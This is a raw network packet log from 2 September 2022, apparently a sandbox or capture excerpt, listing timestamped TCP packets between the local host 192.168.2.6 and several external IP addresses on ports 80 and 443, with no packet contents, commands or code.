Sep 2, 2022 14:02:20.702761889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702790022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702797890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702821970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702831984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702866077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702877045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702900887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702915907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702940941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702955961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702980042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702991962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703016996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703058958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703085899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703099966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703129053 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703139067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703165054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703176975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703206062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703217983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703243017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703255892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703280926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703294039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703319073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703334093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703376055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703388929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703423023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703434944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703459978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703484058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703496933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703526020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703537941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703541994 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703567982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703578949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703603983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703617096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703640938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703666925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703682899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703687906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703711033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703721046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703744888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703772068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703783989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703810930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703823090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703838110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703864098 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.703881025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703906059 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.703916073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703943014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.703969955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.703979015 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.703990936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704014063 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704039097 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704051018 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704063892 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704090118 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704103947 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704133987 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704143047 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704166889 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704180956 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704210997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704220057 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704243898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704263926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704282999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704307079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704319954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704332113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704354048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704366922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704391003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704402924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704432011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704440117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704463005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704476118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704504013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704514980 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704543114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704552889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704580069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704587936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704610109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704622984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704644918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704669952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704695940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.704708099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704714060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704718113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704745054 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704770088 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704787016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.704792023 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704818010 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704829931 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704853058 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704879045 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704898119 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704916954 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704943895 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.704957008 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704982996 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704988003 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.704998016 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.705010891 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.705037117 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.705049992 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.705074072 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.705085993 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.705115080 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.705127954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705152988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705168962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705188990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705223083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705246925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705259085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705282927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705293894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705324888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705347061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705369949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705389977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705394983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705410004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705421925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705426931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705449104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705475092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705482960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705511093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705518961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705524921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705549955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705562115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705589056 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705600977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705625057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705635071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705660105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705673933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705698967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705705881 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705729961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705741882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705765963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705776930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705801010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705826998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705836058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705840111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705866098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705874920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705899954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705924988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705935001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705957890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.705969095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.705984116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706007004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706017017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706038952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706048965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706074953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706083059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706105947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706119061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706141949 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706154108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706178904 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706188917 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706212997 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706223011 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706244946 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706255913 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706284046 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706290960 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706314087 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706329107 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706345081 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706357002 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706379890 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706394911 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706413984 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706423998 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706448078 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706459045 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706480026 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706490993 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706513882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706526995 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706553936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706561089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706583023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706593037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706615925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706639051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706650019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706660032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706684113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706695080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706717968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706728935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706751108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706763029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706787109 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706806898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.706821918 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706849098 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.706856012 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706864119 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706890106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706902027 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.706924915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706943035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706968069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.706978083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707010984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707036018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707045078 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707066059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707101107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707113028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707137108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707145929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707169056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707192898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707216978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.707235098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.707278967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.710056067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.715823889 CEST	80	49766	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.721049070 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.721112013 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.721122026 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.721158981 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.722760916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.723364115 CEST	49779	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.723402023 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.725135088 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.725173950 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.725620031 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.725688934 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.726759911 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.726923943 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.726954937 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.726986885 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.727018118 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.727539062 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.761063099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761106968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761127949 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761151075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761174917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761198997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761212111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761230946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761243105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761262894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761285067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761296988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761307955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761331081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761353016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761384010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761396885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761431932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761442900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761472940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761507988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761531115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761543989 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761568069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761576891 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761598110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761648893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761655092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.761946917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.761979103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.762022972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.762089968 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.762135029 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.762165070 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.762212992 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.762231112 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.762262106 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.766868114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.766904116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.766921997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.766947985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.766957045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.766978025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.766988993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767009974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767026901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767047882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767070055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767081976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767096996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767116070 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767141104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767180920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767193079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767220974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767239094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767265081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767280102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767303944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767313957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767335892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767391920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767416954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767427921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767452002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767471075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767486095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767497063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767518997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767529964 CEST	49768	80	192.168.2.6	62.204.41.123
